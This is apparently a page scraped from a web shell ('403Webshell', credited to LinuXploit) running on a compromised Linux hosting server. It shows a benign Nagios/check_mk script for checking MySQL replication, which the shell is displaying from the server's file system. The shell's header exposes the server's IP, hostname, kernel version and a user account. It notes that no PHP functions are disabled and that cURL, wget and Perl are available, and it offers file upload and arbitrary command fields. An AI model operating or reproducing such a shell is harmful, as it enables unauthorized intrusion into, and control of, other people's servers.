403Webshell
Server IP : 198.38.94.67  /  Your IP : 216.73.217.142
Web Server : LiteSpeed
System : Linux d6054.dxb1.stableserver.net 5.14.0-570.25.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 9 04:57:09 EDT 2025 x86_64
User : azfilmst ( 1070)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/root/proc/self/root/lib64/nagios/plugins/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/proc/self/root/lib64/nagios/plugins/check_a2_whmcs_db_mysql-replication.sh
#!/bin/bash
#
# A mysql replication plugin for the check_mk nagios system.
# Place me in /usr/lib/check_mk_agent/local on the client
#
# Hereward Cooper <coops@iomart.com> - 16/06/11

if grep -q skip-slave-start /etc/my.cnf.d/mysql-server.cnf; then
  echo "check_a2_whmcs_db_mysql-replication - Master Replication server"
  exit 0
fi

MYSQL_USER="root"
MYSQL_PASS=""
MYSQL_SOCKET="/var/lib/mysql/mysql.sock"

# Anything below DELAY_OK is fine. Anything between
# DELAY_OK and DELAY_WARNING is a warning. Anything
# above DELAY_WARNING is critical.
DELAY_OK=600
DELAY_WARNING=43200


MYSQL_STATUS=$(mysql --defaults-extra-file="/root/.my.cnf" -u$MYSQL_USER -S $MYSQL_SOCKET -e "SHOW SLAVE STATUS\G" | egrep 'Slave_.*_Running|Seconds_Behind_Master' | sed 's/^ *//')

echo "${MYSQL_STATUS}" | sed -n '1p' | grep -q Yes && IO=1 || IO=0
echo "${MYSQL_STATUS}" | sed -n '2p' | grep -q Yes && SQL=1 || SQL=0
DELAY=$(echo "${MYSQL_STATUS}" | sed -n '3p' | cut -d " " -f 2)

replication_data_collect() {
  ## Check Slave_IO_Running status
  if [ ${IO} = "1" ]; then
    echo "MySQL_Rep_IO_WHMCS - OK - Replication IO Running"
  else
    echo "MySQL_Rep_IO_WHMCS - CRITICAL - Repication IO Stopped"
  fi

  ## Check Slave_SQL_Running status
  if [ ${SQL} = "1" ]; then
    echo "MySQL_Rep_SQL_WHMCS - OK - Replication SQL Running"
  else
    echo "MySQL_Rep_SQL_WHMCS - CRITICAL - Replication SQL Stopped"
  fi

  ## Check Seconds_Behind_Master value
  if [ ${DELAY} = "NULL" ]; then
    echo "MySQL_Rep_Delay_WHMCS - CRITICAL - Replication delay NULL"
  elif [ ${DELAY} -lt ${DELAY_OK} ]; then
    echo "MySQL_Rep_Delay_WHMCS - OK - Replication delay $DELAY seconds"
  elif [ ${DELAY} -lt ${DELAY_WARNING }]; then
    echo "MySQL_Rep_Delay_WHMCS - WARNING - Replication delay $DELAY seconds"
  elif [ ${DELAY} -ge ${DELAY_WARNING} ]; then
    echo "MySQL_Rep_Delay_WHMCS - CRITICAL - Replication delay $DELAY seconds"
  fi
}

replication_data=$(replication_data_collect)
if $(echo "${replication_data}" | grep -q CRITICAL); then
  echo "check_a2_whmcs_db_mysql-replication - ${replication_data}" | sed ':a;N;$!ba;s/\n/ | /g'
  exit 2
else
  echo "check_a2_whmcs_db_mysql-replication - ${replication_data}" | sed ':a;N;$!ba;s/\n/ | /g'
  exit 0
fi

Youez - 2016 - github.com/yon3zu
LinuXploit